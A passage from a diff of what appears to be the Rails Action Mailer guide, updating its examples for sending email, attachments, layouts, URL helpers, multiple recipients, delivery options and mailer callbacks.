+  To log in to the site, just follow this link: <%= link_to 'login', login_url %>.
+</p>
+<p>Thanks for joining and have a great day!</p>
 ```
 
-Let's also make a text part for this email. Not all clients prefer HTML emails,
-and so sending both is best practice. To do this, create a file called
-`welcome_email.text.erb` in `app/views/user_mailer/`:
+NOTE: The above is the content of the `<body>` tag. It will be embedded in the
+default mailer layout, which contains the `<html>` tag. See [Mailer
+layouts](#mailer-views-and-layouts) for more.
+
+You can also create a text version of the above email and store it in
+`welcome_email.text.erb` in the `app/views/user_mailer/` directory (notice the
+`.text.erb` extension vs. the `html.erb`). Sending both formats is considered
+best practice because, in case of HTML rendering issues, the text version can
+serve as a reliable fallback. Here is a sample text email:
 
 ```erb
 Welcome to example.com, <%= @user.name %>
@@ -149,552 +178,692 @@ Welcome to example.com, <%= @user.name %>
 You have successfully signed up to example.com,
 your username is: <%= @user.login %>.
 
-To login to the site, just follow this link: <%= @url %>.
+To log in to the site, just follow this link: <%= @url %>.
 
 Thanks for joining and have a great day!
 ```
 
-When you call the `mail` method now, Action Mailer will detect the two templates
-(text and HTML) and automatically generate a `multipart/alternative` email.
+Notice that in both HTML and text email templates you can use the instance
+variables `@user` and `@url`.
+
+Now, when you call the `mail` method, Action Mailer will detect the two
+templates (text and HTML) and automatically generate a `multipart/alternative`
+email.
 
-#### Calling the Mailer
+### Call the Mailer
 
-Mailers are really just another way to render a view. Instead of rendering a
-view and sending it over the HTTP protocol, they are just sending it out through
-the email protocols instead. Due to this, it makes sense to just have your
-controller tell the Mailer to send an email when a user is successfully created.
+Once you have a mailer class and view set up, the next step is to actually call
+the mailer method that renders the email view (i.e. sends the email). Mailers
+can be thought of as another way of rendering views. Controller actions render a
+view to be sent over the HTTP protocol. Mailer actions render a view and send it
+through email protocols instead.
 
-Setting this up is painfully simple.
+Let's see an example of using the `UserMailer` to send a welcome email when a
+user is successfully created.
 
-First, let's create a simple `User` scaffold:
+First, let's create a `User` scaffold:
 
 ```bash
-$ bin/rails generate scaffold user name email login
+$ bin/rails generate scaffold user name email_address login
 $ bin/rails db:migrate
 ```
 
-Now that we have a user model to play with, we will just edit the
-`app/controllers/users_controller.rb` make it instruct the `UserMailer` to deliver
-an email to the newly created user by editing the create action and inserting a
-call to `UserMailer.welcome_email` right after the user is successfully saved.
+Next, we edit the `create` action in the `UserController` to send a welcome
+email when a new user is created. We do this by inserting a call to
+`UserMailer.with(user: @user).welcome_email` right after the user is
+successfully saved.
 
-Action Mailer is nicely integrated with Active Job so you can send emails outside
-of the request-response cycle, so the user doesn't have to wait on it:
+NOTE: We use [`deliver_later`][] to enqueue the email to be sent later. This
+way, the controller action will continue without waiting for the email sending
+code to run. The `deliver_later` method is backed by [Active
+Job](active_job_basics.html#action-mailer).
 
 ```ruby
 class UsersController < ApplicationController
-  # POST /users
-  # POST /users.json
+  # ...
+
   def create
-    @user = User.new(params[:user])
+    @user = User.new(user_params)
 
     respond_to do |format|
       if @user.save
         # Tell the UserMailer to send a welcome email after save
-        UserMailer.welcome_email(@user).deliver_later
+        UserMailer.with(user: @user).welcome_email.deliver_later
 
-        format.html { redirect_to(@user, notice: 'User was successfully created.') }
-        format.json { render json: @user, status: :created, location: @user }
+        format.html { redirect_to user_url(@user), notice: "User was successfully created." }
+        format.json { render :show, status: :created, location: @user }
       else
-        format.html { render action: 'new' }
+        format.html { render :new, status: :unprocessable_entity }
         format.json { render json: @user.errors, status: :unprocessable_entity }
       end
     end
   end
+
+  # ...
 end
 ```
 
-NOTE: Active Job's default behavior is to execute jobs via the `:async` adapter. So, you can use
-`deliver_later` now to send emails asynchronously.
-Active Job's default adapter runs jobs with an in-process thread pool.
-It's well-suited for the development/test environments, since it doesn't require
-any external infrastructure, but it's a poor fit for production since it drops
-pending jobs on restart.
-If you need a persistent backend, you will need to use an Active Job adapter
-that has a persistent backend (Sidekiq, Resque, etc).
+Any key-value pair passed to [`with`][] becomes the `params` for the Mailer
+action. For example, `with(user: @user, account: @user.account)` makes
+`params[:user]` and `params[:account]` available in the Mailer action.
+
+With the above mailer, view, and controller set up, if you create a new `User`,
+you can examine the logs to see the welcome email being sent. The log file will
+show the text and HTML versions being sent, like this:
+
+```bash
+[ActiveJob] [ActionMailer::MailDeliveryJob] [ec4b3786-b9fc-4b5e-8153-9153095e1cbf] Delivered mail 6661f55087e34_1380c7eb86934d@Bhumis-MacBook-Pro.local.mail (19.9ms)
+[ActiveJob] [ActionMailer::MailDeliveryJob] [ec4b3786-b9fc-4b5e-8153-9153095e1cbf] Date: Thu, 06 Jun 2024 12:43:44 -0500
+From: notifications@example.com
+To: test@gmail.com
+Message-ID: <6661f55087e34_1380c7eb86934d@Bhumis-MacBook-Pro.local.mail>
+Subject: Welcome to My Awesome Site
+Mime-Version: 1.0
+Content-Type: multipart/alternative;
+ boundary="--==_mimepart_6661f55086194_1380c7eb869259";
+ charset=UTF-8
+Content-Transfer-Encoding: 7bit
+
+
+----==_mimepart_6661f55086194_1380c7eb869259
+Content-Type: text/plain;
+
+...
 
-If you want to send emails right away (from a cronjob for example) just call
-`deliver_now`:
+----==_mimepart_6661f55086194_1380c7eb869259
+Content-Type: text/html;
+
+...
+```
+
+You can also call the mailer from the Rails console and send emails, perhaps
+useful as a test before you have a controller action set up. The below will send
+the same `welcome_email` as above:
+
+```irb
+irb> user = User.first
+irb> UserMailer.with(user: user).welcome_email.deliver_later
+```
+
+If you want to send emails right away (from a cronjob for example) you can call
+[`deliver_now`][]:
 
 ```ruby
 class SendWeeklySummary
   def run
     User.find_each do |user|
-      UserMailer.weekly_summary(user).deliver_now
+      UserMailer.with(user: user).weekly_summary.deliver_now
     end
   end
 end
 ```
 
-The method `welcome_email` returns an `ActionMailer::MessageDelivery` object which
-can then just be told `deliver_now` or `deliver_later` to send itself out. The
-`ActionMailer::MessageDelivery` object is just a wrapper around a `Mail::Message`. If
-you want to inspect, alter or do anything else with the `Mail::Message` object you can
-access it with the `message` method on the `ActionMailer::MessageDelivery` object.
-
-### Auto encoding header values
+A method like `weekly_summary` from `UserMailer` would return an
+[`ActionMailer::MessageDelivery`][] object, which has the methods `deliver_now`
+or `deliver_later` to send itself now or later. The
+`ActionMailer::MessageDelivery` object is a wrapper around a
+[`Mail::Message`][]. If you want to inspect, alter, or do anything else with the
+`Mail::Message` object you can access it with the [`message`][] method on the
+`ActionMailer::MessageDelivery` object.
+
+Here is an example of the `MessageDelivery` object from the Rails console
+example above:
+
+```irb
+irb> UserMailer.with(user: user).weekly_summary
+#<ActionMailer::MailDeliveryJob:0x00007f84cb0367c0
+ @_halted_callback_hook_called=nil,
+ @_scheduled_at_time=nil,
+ @arguments=
+  ["UserMailer",
+   "welcome_email",
+   "deliver_now",
+   {:params=>
+     {:user=>
+       #<User:0x00007f84c9327198
+        id: 1,
+        name: "Bhumi",
+        email_address: "hi@gmail.com",
+        login: "Bhumi",
+        created_at: Thu, 06 Jun 2024 17:43:44.424064000 UTC +00:00,
+        updated_at: Thu, 06 Jun 2024 17:43:44.424064000 UTC +00:00>},
+    :args=>[]}],
+ @exception_executions={},
+ @executions=0,
+ @job_id="07747748-59cc-4e88-812a-0d677040cd5a",
+ @priority=nil,
+```
 
-Action Mailer handles the auto encoding of multibyte characters inside of
-headers and bodies.
+[`ActionMailer::MessageDelivery`]:
+    https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html
+[`deliver_later`]:
+    https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_later
+[`deliver_now`]:
+    https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_now
+[`Mail::Message`]: https://api.rubyonrails.org/classes/Mail/Message.html
+[`message`]:
+    https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-message
+[`with`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Parameterized/ClassMethods.html#method-i-with
 
-For more complex examples such as defining alternate character sets or
-self-encoding text first, please refer to the
-[Mail](https://github.com/mikel/mail) library.
+Multipart Emails and Attachments
+--------------------------------
 
-### Complete List of Action Mailer Methods
+The `multipart` MIME type represents a document that's comprised of multiple component parts, each of which may have its own individual MIME type (such as the `text/html` and `text/plain`). The `multipart` type encapsulates sending multiple files together in one transaction such as attaching multiple files to an email for example.
 
-There are just three methods that you need to send pretty much any email
-message:
+### Adding Attachments
 
-* `headers` - Specifies any header on the email you want. You can pass a hash of
-  header field names and value pairs, or you can call `headers[:field_name] =
-  'value'`.
-* `attachments` - Allows you to add attachments to your email. For example,
-  `attachments['file-name.jpg'] = File.read('file-name.jpg')`.
-* `mail` - Sends the actual email itself. You can pass in headers as a hash to
-  the mail method as a parameter, mail will then create an email, either plain
-  text, or multipart, depending on what email templates you have defined.
+You can add an attachment with Action Mailer by passing the file name and
+content to the [attachments
+method](https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-attachments).
+Action Mailer will automatically guess the `mime_type`, set the `encoding`, and
+create the attachment.
 
-#### Adding Attachments
+```ruby
+attachments["filename.jpg"] = File.read("/path/to/filename.jpg")
+```
 
-Action Mailer makes it very easy to add attachments.
+When the `mail` method is triggered, it will send a multipart email with an
+attachment, properly nested with the top level being `multipart/mixed` and the
+first part being a `multipart/alternative` containing the plain text and HTML
+email messages.
 
-* Pass the file name and content and Action Mailer and the
-  [Mail gem](https://github.com/mikel/mail) will automatically guess the
-  mime_type, set the encoding and create the attachment.
+The other way to send attachments is to specify the file name, MIME-type and
+encoding headers, and content. Action Mailer will use the settings you pass in.
 
-    ```ruby
-    attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
-    ```
+```ruby
+encoded_content = SpecialEncode(File.read("/path/to/filename.jpg"))
+attachments["filename.jpg"] = {
+  mime_type: "application/gzip",
+  encoding: "SpecialEncoding",
+  content: encoded_content
+}
+```
 
-  When the `mail` method will be triggered, it will send a multipart email with
-  an attachment, properly nested with the top level being `multipart/mixed` and
-  the first part being a `multipart/alternative` containing the plain text and
-  HTML email messages.
+NOTE: Action Mailer will automatically Base64 encode an attachment. If you want
+something different, you can encode your content and pass in the encoded content
+as well as the encoding in a `Hash` to the `attachments` method. If you specify
+an encoding, Action Mailer will not try to Base64 encode the attachment.
 
-NOTE: Mail will automatically Base64 encode an attachment. If you want something
-different, encode your content and pass in the encoded content and encoding in a
-`Hash` to the `attachments` method.
+### Making Inline Attachments
 
-* Pass the file name and specify headers and content and Action Mailer and Mail
-  will use the settings you pass in.
+Sometimes, you may want to send an attachment (e.g. image) inline, so it appears
+within the email body.
 
-    ```ruby
-    encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
-    attachments['filename.jpg'] = {
-      mime_type: 'application/gzip',
-      encoding: 'SpecialEncoding',
-      content: encoded_content
-    }
-    ```
+In order to do this, first, you turn an attachment into an inline attachment by
+calling `#inline`:
 
-NOTE: If you specify an encoding, Mail will assume that your content is already
-encoded and not try to Base64 encode it.
+```ruby
+def welcome
+  attachments.inline["image.jpg"] = File.read("/path/to/image.jpg")
+end
+```
 
-#### Making Inline Attachments
+Then in the view, you can reference `attachments` as a hash and specify the file
+you want to show inline. You can call `url` on the hash and pass the result into
+the
+[`image_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag)
+method:
 
-Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
+```html+erb
+<p>Hello there, this is the image you requested:</p>
 
-* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:
+<%= image_tag attachments['image.jpg'].url %>
+```
 
-    ```ruby
-    def welcome
-      attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
-    end
-    ```
+Since this is a standard call to `image_tag` you can pass in an options hash
+after the attachment URL as well:
 
-* Then in your view, you can just reference `attachments` as a hash and specify
-  which attachment you want to show, calling `url` on it and then passing the
-  result into the `image_tag` method:
+```html+erb
+<p>Hello there, this is our image</p>
 
-    ```html+erb
-    <p>Hello there, this is our image</p>
+<%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>
+```
 
-    <%= image_tag attachments['image.jpg'].url %>
-    ```
+### Multipart Emails
 
-* As this is a standard call to `image_tag` you can pass in an options hash
-  after the attachment URL as you could for any other image:
+As demonstrated in [Create a Mailer View](#create-a-mailer-view), Action Mailer
+will automatically send multipart emails if you have different templates for the
+same action. For example, if you have a `UserMailer` with
+`welcome_email.text.erb` and `welcome_email.html.erb` in
+`app/views/user_mailer`, Action Mailer will automatically send a multipart email
+with both the HTML and text versions included as separate parts.
 
-    ```html+erb
-    <p>Hello there, this is our image</p>
+The [Mail](https://github.com/mikel/mail) gem has helper methods for making a
+`multipart/alternate` email for `text/plain` and `text/html` [MIME
+types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types)
+and you can manually create any other type of MIME email.
 
-    <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>
-    ```
+NOTE: The order of the parts getting inserted is determined by the
+`:parts_order` inside of the `ActionMailer::Base.default` method.
 
-#### Sending Email To Multiple Recipients
+Multipart is also used when you send attachments with email.
 
-It is possible to send email to one or more recipients in one email (e.g.,
-informing all admins of a new signup) by setting the list of emails to the `:to`
-key. The list of emails can be an array of email addresses or a single string
-with the addresses separated by commas.
+Mailer Views and Layouts
+------------------------
 
-```ruby
-class AdminMailer < ApplicationMailer
-  default to: Proc.new { Admin.pluck(:email) },
-          from: 'notification@example.com'
+Action Mailer uses view files to specify the content to be sent in emails.
+Mailer views are located in the `app/views/name_of_mailer_class` directory by
+default. Similar to a controller view, the name of the file matches the name of
+the mailer method.
 
-  def new_registration(user)
-    @user = user
-    mail(subject: "New User Signup: #{@user.email}")
-  end
-end
-```
+Mailer views are rendered within a layout, similar to controller views. Mailer
+layouts are located in `app/views/layouts`. The default layout is
+`mailer.html.erb` and `mailer.text.erb`. This section covers various features
+around mailer views and layouts.
 
-The same format can be used to set carbon copy (Cc:) and blind carbon copy
-(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.
+### Configuring Custom View Paths
 
-#### Sending Email With Name
+It is possible to change the default mailer view for your action in various
+ways, as shown below.
 
-Sometimes you wish to show the name of the person instead of just their email
-address when they receive the email. The trick to doing that is to format the
-email address in the format `"Full Name" <email>`.
+There are `template_path` and `template_name` options to the `mail` method:
 
 ```ruby
-def welcome_email(user)
-  @user = user
-  email_with_name = %("#{@user.name}" <#{@user.email}>)
-  mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+class UserMailer < ApplicationMailer
+  default from: "notifications@example.com"
+
+  def welcome_email
+    @user = params[:user]
+    @url  = "http://example.com/login"
+    mail(to: @user.email_address,
+         subject: "Welcome to My Awesome Site",
+         template_path: "notifications",
+         template_name: "hello")
+  end
 end
 ```
 
-### Mailer Views
+The above configures the `mail` method to look for a template with the name
+`hello` in the `app/views/notifications` directory.  You can also specify an
+array of paths for `template_path`, and they will be searched in order.
 
-Mailer views are located in the `app/views/name_of_mailer_class` directory. The
-specific mailer view is known to the class because its name is the same as the
-mailer method. In our example from above, our mailer view for the
-`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb`
-for the HTML version and `welcome_email.text.erb` for the plain text version.
-
-To change the default mailer view for your action you do something like:
+If you need more flexibility, you can also pass a block and render a specific
+template. You can also render plain text inline without using a template file:
 
 ```ruby
 class UserMailer < ApplicationMailer
-  default from: 'notifications@example.com'
+  default from: "notifications@example.com"
 
-  def welcome_email(user)
-    @user = user
-    @url  = 'http://example.com/login'
-    mail(to: @user.email,
-         subject: 'Welcome to My Awesome Site',
-         template_path: 'notifications',
-         template_name: 'another')
+  def welcome_email
+    @user = params[:user]
+    @url  = "http://example.com/login"
+    mail(to: @user.email_address,
+         subject: "Welcome to My Awesome Site") do |format|
+      format.html { render "another_template" }
+      format.text { render plain: "hello" }
+    end
   end
 end
 ```
 
-In this case it will look for templates at `app/views/notifications` with name
-`another`.  You can also specify an array of paths for `template_path`, and they
-will be searched in order.
+This will render the template `another_template.html.erb` for the HTML part and
+"hello" for the text part. The
+[render](https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render)
+method is the same one used inside of Action Controller, so you can use all the
+same options, such as `:plain`, `:inline`, etc.
 
-If you want more flexibility you can also pass a block and render specific
-templates or even render inline or text without using a template file:
+Lastly, if you need to render a template located outside of the default
+`app/views/mailer_name/` directory, you can apply the [`prepend_view_path`][],
+like so:
 
 ```ruby
 class UserMailer < ApplicationMailer
-  default from: 'notifications@example.com'
+  prepend_view_path "custom/path/to/mailer/view"
 
-  def welcome_email(user)
-    @user = user
-    @url  = 'http://example.com/login'
-    mail(to: @user.email,
-         subject: 'Welcome to My Awesome Site') do |format|
-      format.html { render 'another_template' }
-      format.text { render plain: 'Render text' }
-    end
+  # This will try to load "custom/path/to/mailer/view/welcome_email" template
+  def welcome_email
+    # ...
   end
 end
 ```
 
-This will render the template 'another_template.html.erb' for the HTML part and
-use the rendered text for the text part. The render command is the same one used
-inside of Action Controller, so you can use all the same options, such as
-`:text`, `:inline` etc.
+There is also an [`append_view_path`][] method.
 
-#### Caching mailer view
+[`append_view_path`]:
+    https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-append_view_path
+[`prepend_view_path`]:
+    https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-prepend_view_path
 
-You can do cache in mailer views like in application views using `cache` method.
+### Generating URLs in Action Mailer Views
 
-```
-<% cache do %>
-  <%= @company.name %>
-<% end %>
-```
+In order to add URLs to your mailer, you need to set the `host` value to your
+application's domain first. This is because, unlike controllers, the mailer
+instance doesn't have any context about the incoming request.
 
-And in order to use this feature, you need to configure your application with this:
+You can configure the default `host` across the application in
+`config/application.rb`:
 
-```
-  config.action_mailer.perform_caching = true
+```ruby
+config.action_mailer.default_url_options = { host: "example.com" }
 ```
 
-### Action Mailer Layouts
-
-Just like controller views, you can also have mailer layouts. The layout name
-needs to be the same as your mailer, such as `user_mailer.html.erb` and
-`user_mailer.text.erb` to be automatically recognized by your mailer as a
-layout.
+Once the `host` is configured, it is recommended that email views use the
+`*_url` with the full URL, and not the `*_path` helpers with relative URL. Since
+email clients do not have web request context, `*_path` helpers have no base URL
+to form complete web addresses.
 
-In order to use a different file, call `layout` in your mailer:
+For example, instead of:
 
-```ruby
-class UserMailer < ApplicationMailer
-  layout 'awesome' # use awesome.(html|text).erb as the layout
-end
+```html+erb
+<%= link_to 'welcome', welcome_path %>
 ```
 
-Just like with controller views, use `yield` to render the view inside the
-layout.
-
-You can also pass in a `layout: 'layout_name'` option to the render call inside
-the format block to specify different layouts for different formats:
+Use:
 
-```ruby
-class UserMailer < ApplicationMailer
-  def welcome_email(user)
-    mail(to: user.email) do |format|
-      format.html { render layout: 'my_layout' }
-      format.text
-    end
-  end
-end
+```html+erb
+<%= link_to 'welcome', welcome_url %>
 ```
 
-Will render the HTML part using the `my_layout.html.erb` file and the text part
-with the usual `user_mailer.text.erb` file if it exists.
+By using the full URL, your links will work correctly in your emails.
 
-### Previewing Emails
+#### Generating URLs with `url_for`
 
-Action Mailer previews provide a way to see how emails look by visiting a
-special URL that renders them. In the above example, the preview class for
-`UserMailer` should be named `UserMailerPreview` and located in
-`test/mailers/previews/user_mailer_preview.rb`. To see the preview of
-`welcome_email`, implement a method that has the same name and call
-`UserMailer.welcome_email`:
+The [`url_for`][] helper generates a full URL, by default, in templates.
 
-```ruby
-class UserMailerPreview < ActionMailer::Preview
-  def welcome_email
-    UserMailer.welcome_email(User.first)
-  end
-end
+If you haven't configured the `:host` option globally, you'll need to pass it to
+`url_for`.
+
+```erb
+<%= url_for(host: 'example.com',
+            controller: 'welcome',
+            action: 'greeting') %>
 ```
 
-Then the preview will be available in <http://localhost:3000/rails/mailers/user_mailer/welcome_email>.
+[`url_for`]:
+    https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for
 
-If you change something in `app/views/user_mailer/welcome_email.html.erb`
-or the mailer itself, it'll automatically reload and render it so you can
-visually see the new style instantly. A list of previews are also available
-in <http://localhost:3000/rails/mailers>.
+#### Generating URLs with Named Routes
 
-By default, these preview classes live in `test/mailers/previews`.
-This can be configured using the `preview_path` option. For example, if you
-want to change it to `lib/mailer_previews`, you can configure it in
-`config/application.rb`:
+Similar to other URLs, you need to use the `*_url` variant of named route
+helpers in emails as well.
 
-```ruby
-config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+You either configure the `:host` option globally or make sure to pass it to the
+URL helper:
+
+```erb
+<%= user_url(@user, host: 'example.com') %>
 ```
 
-### Generating URLs in Action Mailer Views
+### Adding Images in Action Mailer Views
 
-Unlike controllers, the mailer instance doesn't have any context about the
-incoming request so you'll need to provide the `:host` parameter yourself.
+In order to use the `image_tag` helper in emails, you need to specify the
+`:asset_host` parameter. This is because a mailer instance doesn't have any
+context about the incoming request.
 
-As the `:host` usually is consistent across the application you can configure it
-globally in `config/application.rb`:
+Usually the `:asset_host` is consistent across the application, so you can
+configure it globally in `config/application.rb`:
 
 ```ruby
-config.action_mailer.default_url_options = { host: 'example.com' }
+config.action_mailer.asset_host = "http://example.com"
 ```
 
-Because of this behavior you cannot use any of the `*_path` helpers inside of
-an email. Instead you will need to use the associated `*_url` helper. For example
-instead of using
+NOTE: Because we can't infer the protocol from the request, you'll need to
+specify a protocol such as `http://` or `https://` in the `:asset_host` config.
 
+Now you can display an image inside your email.
+
+```html+erb
+<%= image_tag 'image.jpg' %>
 ```
-<%= link_to 'welcome', welcome_path %>
-```
 
-You will need to use:
+### Caching Mailer View
+
+You can perform fragment caching in mailer views, similar to application views,
+using the [`cache`][] method.
 
+```html+erb
+<% cache do %>
+  <%= @company.name %>
+<% end %>
 ```
-<%= link_to 'welcome', welcome_url %>
+
+And to use this feature, you need to enable it in your application's
+`config/environments/*.rb` file:
+
+```ruby
+config.action_mailer.perform_caching = true
 ```
 
-By using the full URL, your links will now work in your emails.
+Fragment caching is also supported in multipart emails. Read more about caching
+in the [Rails caching guide](caching_with_rails.html).
 
-#### Generating URLs with `url_for`
+[`cache`]:
+    https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache
 
-`url_for` generates a full URL by default in templates.
+### Action Mailer Layouts
 
-If you did not configure the `:host` option globally make sure to pass it to
-`url_for`.
+Just like controller layouts, you can also have mailer layouts. Mailer layouts
+are located in `app/views/layouts`. Here is the default layout:
 
+```html
+# app/views/layouts/mailer.html.erb
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+    <style>
+      /* Email styles need to be inline */
+    </style>
+  </head>
 
-```erb
-<%= url_for(host: 'example.com',
-            controller: 'welcome',
-            action: 'greeting') %>
+  <body>
+    <%= yield %>
+  </body>
+</html>
 ```
 
-#### Generating URLs with Named Routes
+The above layout is in a file `mailer.html.erb`. The default layout name is
+specified in the `ApplicationMailer`, as we saw earlier with the line `layout
+"mailer"` in the [Generate Mailer](#generate-the-mailer) section. Similar to
+controller layouts, you use `yield` to render the mailer view inside the layout.
 
-Email clients have no web context and so paths have no base URL to form complete
-web addresses. Thus, you should always use the "_url" variant of named route
-helpers.
+To use a different layout for a given mailer, call [`layout`][]:
 
-If you did not configure the `:host` option globally make sure to pass it to the
-url helper.
+```ruby
+class UserMailer < ApplicationMailer
+  layout "awesome" # Use awesome.(html|text).erb as the layout
+end
+```
 
-```erb
-<%= user_url(@user, host: 'example.com') %>
+To use a specific layout for a given email, you can pass in a `layout:
+'layout_name'` option to the render call inside the format block:
+
+```ruby
+class UserMailer < ApplicationMailer
+  def welcome_email
+    mail(to: params[:user].email_address) do |format|
+      format.html { render layout: "my_layout" }
+      format.text
+    end
+  end
+end
 ```
 
-NOTE: non-`GET` links require [jQuery UJS](https://github.com/rails/jquery-ujs)
-and won't work in mailer templates. They will result in normal `GET` requests.
+The above will render the HTML part using the `my_layout.html.erb` file and the
+text part with the usual `user_mailer.text.erb` file.
 
-### Adding images in Action Mailer Views
+[`layout`]:
+    https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout
 
-Unlike controllers, the mailer instance doesn't have any context about the
-incoming request so you'll need to provide the `:asset_host` parameter yourself.
+Sending Email
+-------------
 
-As the `:asset_host` usually is consistent across the application you can
-configure it globally in config/application.rb:
+### Sending Email to Multiple Recipients
 
-```ruby
-config.action_mailer.asset_host = 'http://example.com'
-```
+It is possible to send an email to more than one recipient by setting the `:to`
+field to a list of email addresses. The list of emails can be an array or a
+single string with the addresses separated by commas.
 
-Now you can display an image inside your email.
+For example, to inform all admins of a new registration:
 
 ```ruby
-<%= image_tag 'image.jpg' %>
+class AdminMailer < ApplicationMailer
+  default to: -> { Admin.pluck(:email_address) },
+          from: "notification@example.com"
+
+  def new_registration(user)
+    @user = user
+    mail(subject: "New User Signup: #{@user.email_address}")
+  end
+end
 ```
 
-### Sending Multipart Emails
+The same format can be used to add multiple carbon copy (cc) and blind carbon
+copy (bcc) recipients, by setting the `:cc` and `:bcc` keys respectively
+(similarly to the `:to` field).
 
-Action Mailer will automatically send multipart emails if you have different
-templates for the same action. So, for our `UserMailer` example, if you have
-`welcome_email.text.erb` and `welcome_email.html.erb` in
-`app/views/user_mailer`, Action Mailer will automatically send a multipart email
-with the HTML and text versions setup as different parts.
+### Sending Email with Name
 
-The order of the parts getting inserted is determined by the `:parts_order`
-inside of the `ActionMailer::Base.default` method.
+It's possible to show the name, in addition to the email address, of the person
+who receives the email or sends the email.
 
-### Sending Emails with Dynamic Delivery Options
+To show the name of the person when they receive the email, you can use
+[`email_address_with_name`][] method in `to:`:
+
+```ruby
+def welcome_email
+  @user = params[:user]
+  mail(
+    to: email_address_with_name(@user.email_address, @user.name),
+    subject: "Welcome to My Awesome Site"
+  )
+end
+```
 
-If you wish to override the default delivery options (e.g. SMTP credentials)
-while delivering emails, you can do this using `delivery_method_options` in the
-mailer action.
+The same method in `from:` works to display the name of the sender:
 
 ```ruby
 class UserMailer < ApplicationMailer
-  def welcome_email(user, company)
-    @user = user
-    @url  = user_url(@user)
-    delivery_options = { user_name: company.smtp_user,
-                         password: company.smtp_password,
-                         address: company.smtp_host }
-    mail(to: @user.email,
-         subject: "Please see the Terms and Conditions attached",
-         delivery_method_options: delivery_options)
-  end
+  default from: email_address_with_name("notification@example.com", "Example Company Notifications")
 end
 ```
 
+If the name is blank (`nil` or empty string), it returns the email address.
+
+[`email_address_with_name`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-email_address_with_name
+
+### Sending Email with Subject Translation
+
+If you don't pass a subject to the mail method, Action Mailer will try to find
+it in your translations. See the [Internationalization
+Guide](i18n.html#translations-for-action-mailer-e-mail-subjects) for more.
+
 ### Sending Emails without Template Rendering
 
 There may be cases in which you want to skip the template rendering step and
-supply the email body as a string. You can achieve this using the `:body`
-option. In such cases don't forget to add the `:content_type` option. Rails
-will default to `text/plain` otherwise.
+instead supply the email body as a string. You can achieve this using the
+`:body` option. Remember to set the `:content_type` option, such as setting it
+to `text/html` below. Rails will default to `text/plain` as the content type.
 
 ```ruby
 class UserMailer < ApplicationMailer
-  def welcome_email(user, email_body)
-    mail(to: user.email,
-         body: email_body,
+  def welcome_email
+    mail(to: params[:user].email_address,
+         body: params[:email_body],
          content_type: "text/html",
          subject: "Already rendered!")
   end
 end
 ```
 
-Receiving Emails
-----------------
-
-Receiving and parsing emails with Action Mailer can be a rather complex
-endeavor. Before your email reaches your Rails app, you would have had to
-configure your system to somehow forward emails to your app, which needs to be
-listening for that. So, to receive emails in your Rails app you'll need to:
-
-* Implement a `receive` method in your mailer.
-
-* Configure your email server to forward emails from the address(es) you would
-  like your app to receive to `/path/to/app/bin/rails runner
-  'UserMailer.receive(STDIN.read)'`.
+### Sending Emails with Dynamic Delivery Options
 
-Once a method called `receive` is defined in any mailer, Action Mailer will
-parse the raw incoming email into an email object, decode it, instantiate a new
-mailer, and pass the email object to the mailer `receive` instance
-method. Here's an example:
+If you wish to override the default delivery
+[configuration](#action-mailer-configuration) (e.g. SMTP credentials) while
+delivering emails, you can do this using `delivery_method_options` in the mailer
+action.
 
 ```ruby
 class UserMailer < ApplicationMailer
-  def receive(email)
-    page = Page.find_by(address: email.to.first)
-    page.emails.create(
-      subject: email.subject,
-      body: email.body
-    )
-
-    if email.has_attachments?
-      email.attachments.each do |attachment|
-        page.attachments.create({
-          file: attachment,
-          description: email.subject
-        })
-      end
-    end
+  def welcome_email
+    @user = params[:user]
+    @url  = user_url(@user)
+    delivery_options = { user_name: params[:company].smtp_user,
+                         password: params[:company].smtp_password,
+                         address: params[:company].smtp_host }
+    mail(to: @user.email_address,
+         subject: "Please see the Terms and Conditions attached",
+         delivery_method_options: delivery_options)
   end
 end
 ```
 
 Action Mailer Callbacks
----------------------------
+-----------------------
+
+Action Mailer allows for you to specify `*_action` callbacks to configure the message, and `*_deliver` callbacks to control the delivery.
+
+Here is a list with all the available Action Mailer callbacks, listed **in the order in which they will get called** when sending an email:
+
+* [`before_action`][]
+* [`around_action`][]
+* [`after_action`][]
+* [`before_deliver`][]
+* [`around_deliver`][]
+* [`after_deliver`][]
+
+Callbacks can be specified with a block or a symbol representing a method name in the mailer class, similar to other callbacks (in controllers or models).
+
+Here are some examples of when you may use one of these callbacks with mailers.
+
+### `before_action`
+
+You can use a `before_action` to set instance variables, populate the mail
+object with defaults, or insert default headers and attachments.
+
+```ruby
+class InvitationsMailer < ApplicationMailer
+  before_action :set_inviter_and_invitee
+  before_action { @account = params[:inviter].account }
+
+  default to:       -> { @invitee.email_address },
+          from:     -> { common_address(@inviter) },
+          reply_to: -> { @inviter.email_address_with_name }
+
+  def account_invitation
